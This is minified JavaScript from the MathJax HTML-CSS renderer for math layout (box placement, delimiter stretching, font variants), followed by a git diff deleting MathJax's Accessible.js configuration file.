f=parseFloat(g[1]||"1"),j=g[2];if(i==null){i=1}if(j==="em"){return f*h}if(j==="ex"){return f*e.TeX.x_height*h}if(j==="%"){return f/100*i}if(j==="px"){return f/e.em}if(j==="pt"){return f/10*h}if(j==="pc"){return f*1.2*h}if(j==="in"){return f*this.pxPerInch/e.em}if(j==="cm"){return f*this.pxPerInch/e.em/2.54}if(j==="mm"){return f*this.pxPerInch/e.em/25.4}if(j==="mu"){return f/18*h}return f*h*i},thickness2em:function(f){var g=e.TeX.rule_thickness;if(f===a.LINETHICKNESS.MEDIUM){return g}if(f===a.LINETHICKNESS.THIN){return 0.67*g}if(f===a.LINETHICKNESS.THICK){return 1.67*g}return this.length2em(f,g)},createStrut:function(i,g,j){var f=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:g+"px",width:"1px",marginRight:"-1px"}});if(j){i.insertBefore(f,i.firstChild)}else{i.appendChild(f)}return f},createBlank:function(g,f,h){var i=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:"1px",width:this.Em(f)}});if(h){g.insertBefore(i,g.firstChild)}else{g.appendChild(i)}return i},createShift:function(g,f,i){var h=this.Element("span",{style:{marginLeft:this.Em(f)}});if(i){g.insertBefore(h,g.firstChild)}else{g.appendChild(h)}return h},createSpace:function(k,j,m,f,g){var i=this.Em(Math.max(0,j+m)),l=this.Em(-m);if(this.msieInlineBlockAlignBug){l=this.Em(e.getHD(k.parentNode).d-m)}if(k.isBox||k.className=="mspace"){k.bbox={h:j*k.scale,d:m*k.scale,w:f*k.scale,rw:f*k.scale,lw:0};k.style.height=i;k.style.verticalAlign=l}else{k=this.addElement(k,"span",{style:{height:i,verticalAlign:l}})}if(f>=0){k.style.width=this.Em(f);k.style.display="inline-block"}else{if(this.msieNegativeSpaceBug){k.style.height=""}k.style.marginLeft=this.Em(f);if(e.safariNegativeSpaceBug&&k.parentNode.firstChild==k){this.createBlank(k,0,true)}}if(g&&g!==a.COLOR.TRANSPARENT){k.style.backgroundColor=g}return k},createRule:function(o,k,m,p,i){var j=e.TeX.min_rule_thickness;if(p>0&&p*this.em<j){p=j/this.em}if(k+m>0&&(k+m)*this.em<j){var l=1/(k+m)*(j/this.em);k*=l;m*=l}if(!i){i="solid"}else{i="solid "+i}i=this.Em(p)+" "+i;var q=this.Em(k+m),g=this.Em(-m);var n=this.addElement(o,"span",{style:{borderLeft:i,display:"inline-block",overflow:"hidden",width:0,height:q,verticalAlign:g},bbox:{h:k,d:m,w:p,rw:p,lw:0},noAdjust:true});if(p>0&&n.offsetWidth==0){n.style.width=this.Em(p)}if(o.isBox||o.className=="mspace"){o.bbox=n.bbox}return n},createFrame:function(o,m,n,p,r,g){var l=(this.msieBorderWidthBug?0:2*r);var q=this.Em(m+n-l),f=this.Em(-n-r),k=this.Em(p-l);var i=this.Em(r)+" "+g;var j=this.addElement(o,"span",{style:{border:i,display:"inline-block",overflow:"hidden",width:k,height:q},bbox:{h:m,d:n,w:p,rw:p,lw:0},noAdjust:true});if(f){j.style.verticalAlign=f}return j},createStack:function(h,j,g){if(this.msiePaddingWidthBug){this.createStrut(h,0)}var i=String(g).match(/%$/);var f=(!i&&g!=null?g:0);h=this.addElement(h,"span",{noAdjust:true,style:{display:"inline-block",position:"relative",width:(i?"100%":this.Em(f)),height:0}});if(!j){h.parentNode.bbox=h.bbox={h:-this.BIGDIMEN,d:-this.BIGDIMEN,w:f,lw:this.BIGDIMEN,rw:(!i&&g!=null?g:-this.BIGDIMEN)};if(i){h.bbox.width=g}}return h},createBox:function(g,f){var h=this.addElement(g,"span",{style:{position:"absolute"},isBox:true});if(f!=null){h.style.width=f}return h},addBox:function(f,g){g.style.position="absolute";g.isBox=true;return f.appendChild(g)},placeBox:function(n,m,k,i){var o=n.parentNode,v=n.bbox,q=o.bbox;if(this.msiePlaceBoxBug){this.addText(n,this.NBSP)}if(this.imgSpaceBug){this.addText(n,this.imgSpace)}var p=n.offsetHeight/this.em+1,z=0;if(n.noAdjust){p-=1}else{if(this.msieInlineBlockAlignBug){this.addElement(n,"img",{className:"MathJax_strut",border:0,src:"about:blank",style:{width:0,height:this.Em(p)}})}else{this.addElement(n,"span",{style:{display:"inline-block",width:0,height:this.Em(p)}})}}n.style.top=this.Em(-k-p);n.style.left=this.Em(m+z);if(v){if(this.negativeSkipBug){if(v.lw<0){z=v.lw;e.createBlank(n,-z,true);h=0}if(v.rw>v.w){e.createBlank(n,v.rw-v.w+0.1)}}if(!this.msieClipRectBug&&!v.noclip&&!i){var u=3/this.em;var s=(v.H==null?v.h:v.H),g=(v.D==null?v.d:v.D);var w=p-s-u,j=p+g+u,h=v.lw-3*u,f=1000;if(v.isFixed){f=v.width-h}n.style.clip="rect("+this.Em(w)+" "+this.Em(f)+" "+this.Em(j)+" "+this.Em(h)+")"}}if(v&&q){if(v.H!=null&&(q.H==null||v.H+k>q.H)){q.H=v.H+k}if(v.D!=null&&(q.D==null||v.D-k>q.D)){q.D=v.D-k}if(v.h+k>q.h){q.h=v.h+k}if(v.d-k>q.d){q.d=v.d-k}if(q.H!=null&&q.H<=q.h){delete q.H}if(q.D!=null&&q.D<=q.d){delete q.D}if(v.w+m>q.w){q.w=v.w+m;if(q.width==null){o.style.width=this.Em(q.w)}}if(v.rw+m>q.rw){q.rw=v.rw+m}if(v.lw+m<q.lw){q.lw=v.lw+m}if(v.width!=null&&!v.isFixed){if(q.width==null){o.style.width=q.width="100%"}n.style.width=v.width}}},alignBox:function(h,n,m){this.placeBox(h,0,m);var j=h.bbox;if(j.isMultiline){return}var g=j.width!=null&&!j.isFixed;var i=0,k=-j.w/2,f="50%";if(this.negativeSkipBug){i=j.w-j.rw-0.1;k+=j.lw}k=this.Em(k*this.msieMarginScale);if(g){k="";f=(50-parseFloat(j.width)/2)+"%"}d.Insert(h.style,({right:{left:"",right:this.Em(i)},center:{left:f,marginLeft:k}})[n])},setStackWidth:function(g,f){if(typeof(f)==="number"){g.style.width=this.Em(Math.max(0,f));if(g.bbox){g.bbox.w=f}if(g.parentNode.bbox){g.parentNode.bbox.w=f}}else{g.style.width=g.parentNode.style.width="100%";if(g.bbox){g.bbox.width=f}if(g.parentNode.bbox){g.parentNode.bbox.width=f}}},createDelimiter:function(q,f,h,l,j){if(!f){q.bbox={h:0,d:0,w:this.TeX.nulldelimiterspace,lw:0};q.bbox.rw=q.bbox.w;this.createSpace(q,q.bbox.h,q.bbox.d,q.bbox.w);return}if(!l){l=1}if(!(h instanceof Array)){h=[h,h]}var p=h[1];h=h[0];var g={alias:f};while(g.alias){f=g.alias;g=this.FONTDATA.DELIMITERS[f];if(!g){g={HW:[0,this.FONTDATA.VARIANT[a.VARIANT.NORMAL]]}}}for(var o=0,k=g.HW.length;o<k;o++){if(g.HW[o][0]*l>=h-0.01||(o==k-1&&!g.stretch)){if(g.HW[o][2]){l*=g.HW[o][2]}if(g.HW[o][3]){f=g.HW[o][3]}var n=this.addElement(q,"span");this.createChar(n,[f,g.HW[o][1]],l,j);q.bbox=n.bbox;q.offset=0.65*q.bbox.w;q.scale=l;return}}if(g.stretch){this["extendDelimiter"+g.dir](q,p,g.stretch,l,j)}},extendDelimiterV:function(v,p,A,B,s){var i=this.createStack(v,true);var r=this.createBox(i),q=this.createBox(i);this.createChar(r,(A.top||A.ext),B,s);this.createChar(q,(A.bot||A.ext),B,s);var g={bbox:{w:0,lw:0,rw:0}},z=g,j;var w=r.bbox.h+r.bbox.d+q.bbox.h+q.bbox.d;var m=-r.bbox.h;this.placeBox(r,0,m,true);m-=r.bbox.d;if(A.mid){z=this.createBox(i);this.createChar(z,A.mid,B,s);w+=z.bbox.h+z.bbox.d}if(p>w){g=this.Element("span");this.createChar(g,A.ext,B,s);var x=g.bbox.h+g.bbox.d,f=x-0.05,t,l,u=(A.mid?2:1);l=t=Math.ceil((p-w)/(u*f));if(!A.fullExtenders){f=(p-w)/(u*t)}var o=(t/(t+1))*(x-f);f=x-o;m+=o+f-g.bbox.h;while(u-->0){while(t-->0){if(!this.msieCloneNodeBug){j=g.cloneNode(true)}else{j=this.Element("span");this.createChar(j,A.ext,B,s)}m-=f;this.placeBox(this.addBox(i,j),0,m,true)}m+=o-g.bbox.d;if(A.mid&&u){this.placeBox(z,0,m-z.bbox.h,true);t=l;m+=-(z.bbox.h+z.bbox.d)+o+f-g.bbox.h}}}else{m+=(w-p)/2;if(A.mid){this.placeBox(z,0,m-z.bbox.h,true);m+=-(z.bbox.h+z.bbox.d)}m+=(w-p)/2}this.placeBox(q,0,m-q.bbox.h,true);m-=q.bbox.h+q.bbox.d;v.bbox={w:Math.max(r.bbox.w,g.bbox.w,q.bbox.w,z.bbox.w),lw:Math.min(r.bbox.lw,g.bbox.lw,q.bbox.lw,z.bbox.lw),rw:Math.max(r.bbox.rw,g.bbox.rw,q.bbox.rw,z.bbox.rw),h:0,d:-m};v.scale=B;v.offset=0.55*v.bbox.w;v.isMultiChar=true;this.setStackWidth(i,v.bbox.w)},extendDelimiterH:function(u,h,z,B,r){var l=this.createStack(u,true);var i=this.createBox(l),v=this.createBox(l);this.createChar(i,(z.left||z.rep),B,r);this.createChar(v,(z.right||z.rep),B,r);var f=this.Element("span");this.createChar(f,z.rep,B,r);var y={bbox:{h:-this.BIGDIMEN,d:-this.BIGDIMEN}},g;this.placeBox(i,-i.bbox.lw,0,true);var p=(i.bbox.rw-i.bbox.lw)+(v.bbox.rw-v.bbox.lw)-0.05,o=i.bbox.rw-i.bbox.lw-0.025,q;if(z.mid){y=this.createBox(l);this.createChar(y,z.mid,B,r);p+=y.bbox.w}if(h>p){var A=f.bbox.rw-f.bbox.lw,j=A-0.05,s,m,t=(z.mid?2:1);m=s=Math.ceil((h-p)/(t*j));j=(h-p)/(t*s);q=(s/(s+1))*(A-j);j=A-q;o-=f.bbox.lw+q;while(t-->0){while(s-->0){if(!this.msieCloneNodeBug){g=f.cloneNode(true)}else{g=this.Element("span");this.createChar(g,z.rep,B,r)}this.placeBox(this.addBox(l,g),o,0,true);o+=j}if(z.mid&&t){this.placeBox(y,o,0,true);o+=y.bbox.w-q;s=m}}}else{q=Math.min(p-h,i.bbox.w/2);o-=q/2;if(z.mid){this.placeBox(y,o,0,true);o+=y.bbox.w}o-=q/2}this.placeBox(v,o,0,true);u.bbox={w:o+v.bbox.rw,lw:0,rw:o+v.bbox.rw,H:Math.max(i.bbox.h,f.bbox.h,v.bbox.h,y.bbox.h),D:Math.max(i.bbox.d,f.bbox.d,v.bbox.d,y.bbox.d),h:f.bbox.h,d:f.bbox.d};u.scale=B;u.isMultiChar=true;this.setStackWidth(l,u.bbox.w)},createChar:function(o,k,h,f){var n=o,p="",j={fonts:[k[1]],noRemap:true};if(f&&f===a.VARIANT.BOLD){j.fonts=[k[1]+"-bold",k[1]]}if(typeof(k[1])!=="string"){j=k[1]}if(k[0] instanceof Array){for(var l=0,g=k[0].length;l<g;l++){p+=String.fromCharCode(k[0][l])}}else{p=String.fromCharCode(k[0])}if(h!==1){n=this.addElement(o,"span",{style:{fontSize:this.Percent(h)},scale:h});this.handleVariant(n,j,p);o.bbox=n.bbox}else{this.handleVariant(o,j,p)}if(k[2]){o.style.marginLeft=this.Em(k[2])}if(this.AccentBug&&o.bbox.w===0){n.firstChild.nodeValue+=this.NBSP;e.createSpace(o,0,0,-o.offsetWidth/e.em)}},positionDelimiter:function(g,f){f-=g.bbox.h;g.bbox.d-=f;g.bbox.h+=f;if(f){if(this.safariVerticalAlignBug||this.msieVerticalAlignBug||this.konquerorVerticalAlignBug||(this.operaVerticalAlignBug&&g.isMultiChar)){if(g.firstChild.style.display===""&&g.style.top!==""){g=g.firstChild;f-=parseFloat(g.style.top)}g.style.position="relative";g.style.top=this.Em(-f)}else{g.style.verticalAlign=this.Em(f);if(e.ffVerticalAlignBug){e.createRule(g.parentNode,g.bbox.h,0,0)}}}},handleVariant:function(v,j,o){var u="",s,y,p,g,x,z,f=v;if(o.length===0){return}if(!v.bbox){v.bbox={w:0,h:-this.BIGDIMEN,d:-this.BIGDIMEN,rw:-this.BIGDIMEN,lw:this.BIGDIMEN}}if(!j){j=this.FONTDATA.VARIANT[a.VARIANT.NORMAL]}z=j;for(var w=0,t=o.length;w<t;w++){j=z;s=o.charCodeAt(w);y=o.charAt(w);if(y===this.PLANE1){w++;s=o.charCodeAt(w)+119808-56320;if(this.FONTDATA.RemapPlane1){var A=this.FONTDATA.RemapPlane1(s,j);s=A.n;j=A.variant}}else{var q,l,r=this.FONTDATA.RANGES;for(q=0,l=r.length;q<l;q++){if(r[q].name==="alpha"&&j.noLowerCase){continue}var k=j["offset"+r[q].offset];if(k&&s>=r[q].low&&s<=r[q].high){if(r[q].remap&&r[q].remap[s]){s=k+r[q].remap[s]}else{s=s-r[q].low+k;if(r[q].add){s+=r[q].add}}if(j["variant"+r[q].offset]){j=this.FONTDATA.VARIANT[j["variant"+r[q].offset]]}break}}}if(j.remap&&j.remap[s]){if(j.remap[s] instanceof Array){var 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m=this.getValues("mathcolor","color");if(this.mathbackground){m.mathbackground=this.mathbackground}if(this.background){m.background=this.background}if(this.style&&k.style.backgroundColor){m.mathbackground=k.style.backgroundColor;k.style.backgroundColor="transparent"}if(m.color&&!this.mathcolor){m.mathcolor=m.color}if(m.background&&!this.mathbackground){m.mathbackground=m.background}if(m.mathcolor){k.style.color=m.mathcolor}if(m.mathbackground&&m.mathbackground!==a.COLOR.TRANSPARENT){var n=1/e.em,j=0,i=0;if(this.isToken){j=k.bbox.lw;i=k.bbox.rw-k.bbox.w}if(k.style.paddingLeft!==""){j+=parseFloat(k.style.paddingLeft)*(k.scale||1)}if(k.style.paddingRight!==""){i-=parseFloat(k.style.paddingRight)*(k.scale||1)}var h=Math.max(0,e.getW(k)+(e.PaddingWidthBug?0:i-j));if(e.msieCharPaddingWidthBug&&k.style.paddingLeft!==""){h+=parseFloat(k.style.paddingLeft)*(k.scale||1)}var l=k.bbox.h+k.bbox.d,f=-k.bbox.d;if(h>0){h+=2*n;j-=n}if(l>0){l+=2*n;f-=n}i=-h-j;var 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g=this.HTMLspanElement();if(g.style.fontSize!=""){f.fontsize=g.style.fontSize}}if(f.fontsize&&!this.mathsize){f.mathsize=f.fontsize}if(f.scriptlevel!==0){if(f.scriptlevel>2){f.scriptlevel=2}h=Math.pow(this.Get("scriptsizemultiplier"),f.scriptlevel);f.scriptminsize=e.length2em(f.scriptminsize);if(h<f.scriptminsize){h=f.scriptminsize}}h*=e.length2em(f.mathsize);return h},HTMLgetVariant:function(){var f=this.getValues("mathvariant","fontfamily","fontweight","fontstyle");if(this.style){var h=this.HTMLspanElement();if(h.style.fontFamily){f.fontfamily=h.style.fontFamily}if(h.style.fontWeight){f.fontweight=h.style.fontWeight}if(h.style.fontStyle){f.fontStyle=h.style.fontStyle}}var g=f.mathvariant;if(this.variantForm){g="-"+e.fontInUse+"-variant"}if(f.fontfamily&&!this.mathvariant){if(!f.fontweight&&f.mathvariant.match(/bold/)){f.fontweight="bold"}if(!f.fontstyle&&f.mathvariant.match(/italic/)){f.fontstyle="italic"}return{FONTS:[],fonts:[],noRemap:true,defaultFont:{family:f.fontfamily,style:f.fontstyle,weight:f.fontweight}}}if(f.fontweight==="bold"){g={normal:a.VARIANT.BOLD,italic:a.VARIANT.BOLDITALIC,fraktur:a.VARIANT.BOLDFRAKTUR,script:a.VARIANT.BOLDSCRIPT,"sans-serif":a.VARIANT.BOLDSANSSERIF,"sans-serif-italic":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontweight==="normal"){g={bold:a.VARIANT.normal,"bold-italic":a.VARIANT.ITALIC,"bold-fraktur":a.VARIANT.FRAKTUR,"bold-script":a.VARIANT.SCRIPT,"bold-sans-serif":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.SANSSERIFITALIC}[g]||g}}if(f.fontstyle==="italic"){g={normal:a.VARIANT.ITALIC,bold:a.VARIANT.BOLDITALIC,"sans-serif":a.VARIANT.SANSSERIFITALIC,"bold-sans-serif":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontstyle==="normal"){g={italic:a.VARIANT.NORMAL,"bold-italic":a.VARIANT.BOLD,"sans-serif-italic":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.BOLDSANSSERIF}[g]||g}}return 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l=this.data[1].toHTML(i);l.style.paddingRight=l.style.paddingLeft="";e.Measured(l,i)}else{i.bbox=this.HTMLzeroBBox()}var j=this.HTMLrootHeight(g.bbox.h+g.bbox.d,f,i)-k;var n=Math.min(i.bbox.w,i.bbox.rw);m=Math.max(n,g.offset);e.placeBox(i,m-n,j);return m-g.offset},HTMLrootHeight:function(h,g,f){return 0.45*(h-0.9*g)+0.6*g+Math.max(0,f.bbox.d-0.075)}});a.mfenced.Augment({toHTML:function(k){k=this.HTMLcreateSpan(k);if(this.data.open){this.data.open.toHTML(k)}if(this.data[0]!=null){this.data[0].toHTML(k)}for(var g=1,f=this.data.length;g<f;g++){if(this.data[g]){if(this.data["sep"+g]){this.data["sep"+g].toHTML(k)}this.data[g].toHTML(k)}}if(this.data.close){this.data.close.toHTML(k)}var n=this.HTMLcomputeBBox(k);var j=k.bbox.h,l=k.bbox.d;for(g=0,f=n.length;g<f;g++){n[g].HTMLstretchV(k,j,l)}if(n.length){this.HTMLcomputeBBox(k,true)}this.HTMLhandleSpace(k);this.HTMLhandleColor(k);return k},HTMLcomputeBBox:function(k,j){var g=k.bbox={},l=[];this.HTMLcheckStretchy(this.data.open,g,l,j);this.HTMLcheckStretchy(this.data[0],g,l,j);for(var h=1,f=this.data.length;h<f;h++){if(this.data[h]){this.HTMLcheckStretchy(this.data["sep"+h],g,l,j);this.HTMLcheckStretchy(this.data[h],g,l,j)}}this.HTMLcheckStretchy(this.data.close,g,l,j);this.HTMLcleanBBox(g);return l},HTMLcheckStretchy:function(f,g,i,h){if(f){if(!h&&f.HTMLcanStretch("Vertical")){i.push(f);f=(f.CoreMO()||f)}this.HTMLcombineBBoxes(f,g)}}});a.menclose.Augment({toHTML:a.mbase.HTMLautoload});a.maction.Augment({toHTML:a.mbase.HTMLautoload});a.semantics.Augment({toHTML:function(f){if(this.data[0]!=null){f=this.data[0].toHTML(f);this.spanID=this.data[0].spanID;this.HTMLhandleSpace(f)}return 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l=[],I=[],q,H,C,g=-e.BIGDIMEN,F=g;for(H=0,C=this.data.length;H<C;H++){if(this.data[H]!=null){q=l[H]=e.createBox(j);e.Measured(this.data[H].toHTML(q),q);if(H==this.base){if(z!=null){e.Remeasured(this.data[this.base].HTMLstretchV(q,B,z),q)}else{if(B!=null){e.Remeasured(this.data[this.base].HTMLstretchH(q,B),q)}}I[H]=(z==null&&B!=null?false:this.data[H].HTMLcanStretch("Horizontal"))}else{I[H]=this.data[H].HTMLcanStretch("Horizontal")}if(q.bbox.w>F){F=q.bbox.w}if(!I[H]&&F>g){g=F}}}if(z==null&&B!=null){g=B}else{if(g==-e.BIGDIMEN){g=F}}for(H=F=0,C=this.data.length;H<C;H++){if(this.data[H]){q=l[H];if(I[H]){q.bbox=this.data[H].HTMLstretchH(q,g).bbox}if(q.bbox.w>F){F=q.bbox.w}}}var w=e.TeX.rule_thickness,A=e.FONTDATA.TeX_factor;var h=l[this.base]||{bbox:this.HTMLzeroBBox()},J=(h.bbox.ic||0);var p,n,s,r,o,v,E;for(H=0,C=this.data.length;H<C;H++){if(this.data[H]!=null){q=l[H];o=e.TeX.big_op_spacing5*K;var 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G=this.HTMLgetScale();var j=e.createStack(C),g;var i=e.createBox(j);this.HTMLmeasureChild(this.base,i);if(this.data[this.base]){if(w!=null){e.Remeasured(this.data[this.base].HTMLstretchV(i,A,w),i)}else{if(A!=null){e.Remeasured(this.data[this.base].HTMLstretchH(i,A),i)}}}e.placeBox(i,0,0);var h=(this.data[this.sup]||this.data[this.sub]||this).HTMLgetScale();var E=e.TeX.x_height*G,o=e.TeX.scriptspace*G*0.75;var f,k;if(this.HTMLnotEmpty(this.data[this.sup])){f=e.createBox(j);e.Measured(this.data[this.sup].toHTML(f),f);f.bbox.w+=o;f.bbox.rw=Math.max(f.bbox.w,f.bbox.rw)}if(this.HTMLnotEmpty(this.data[this.sub])){k=e.createBox(j);e.Measured(this.data[this.sub].toHTML(k),k);k.bbox.w+=o;k.bbox.rw=Math.max(k.bbox.w,k.bbox.rw)}var y=e.TeX.sup_drop*h,x=e.TeX.sub_drop*h;var m=i.bbox.h-y,l=i.bbox.d+x,F=0,z;if(i.bbox.ic){F=i.bbox.ic}if(this.data[this.base]&&(this.data[this.base].type==="mi"||this.data[this.base].type==="mo")){if(this.data[this.base].data.join("").length===1&&i.bbox.scale===1&&!this.data[this.base].Get("largeop")){m=l=0}}var B=this.getValues("subscriptshift","superscriptshift");B.subscriptshift=(B.subscriptshift===""?0:e.length2em(B.subscriptshift));B.superscriptshift=(B.superscriptshift===""?0:e.length2em(B.superscriptshift));if(!f){if(k){l=Math.max(l,e.TeX.sub1*G,k.bbox.h-(4/5)*E,B.subscriptshift);e.placeBox(k,i.bbox.w+o-F,-l,k.bbox)}}else{if(!k){g=this.getValues("displaystyle","texprimestyle");z=e.TeX[(g.displaystyle?"sup1":(g.texprimestyle?"sup3":"sup2"))];m=Math.max(m,z*G,f.bbox.d+(1/4)*E,B.superscriptshift);e.placeBox(f,i.bbox.w+o,m,f.bbox)}else{l=Math.max(l,e.TeX.sub2*G);var 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diff --git a/public/MathJax/config/Accessible.js b/public/MathJax/config/Accessible.js
deleted file mode 100644
index b5ef2f2e..00000000
--- a/public/MathJax/config/Accessible.js
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- *  /MathJax/config/Accessible.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Config({delayJaxRegistration: true});
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/TeX/config.js",
-  "[MathJax]/jax/input/MathML/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/jax/output/NativeMML/config.js",
-  "[MathJax]/config/MMLorHTML.js",
-  "[MathJax]/extensions/tex2jax.js",
-  "[MathJax]/extensions/mml2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/extensions/TeX/noErrors.js",
-  "[MathJax]/extensions/TeX/noUndefined.js",
-  "[MathJax]/jax/input/TeX/jax.js",
-  "[MathJax]/extensions/TeX/AMSmath.js",
-  "[MathJax]/extensions/TeX/AMSsymbols.js",
-  "[MathJax]/jax/input/MathML/jax.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.Hub.Config({
-  NativeMML: {
-    showMathMenuMSIE: false
-  },
-  menuSettings: {
-    zoom: "Double-Click"
-  },
-  errorSettings: {
-    message: ["[Math Error]"]
-  }
-  
-});
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var 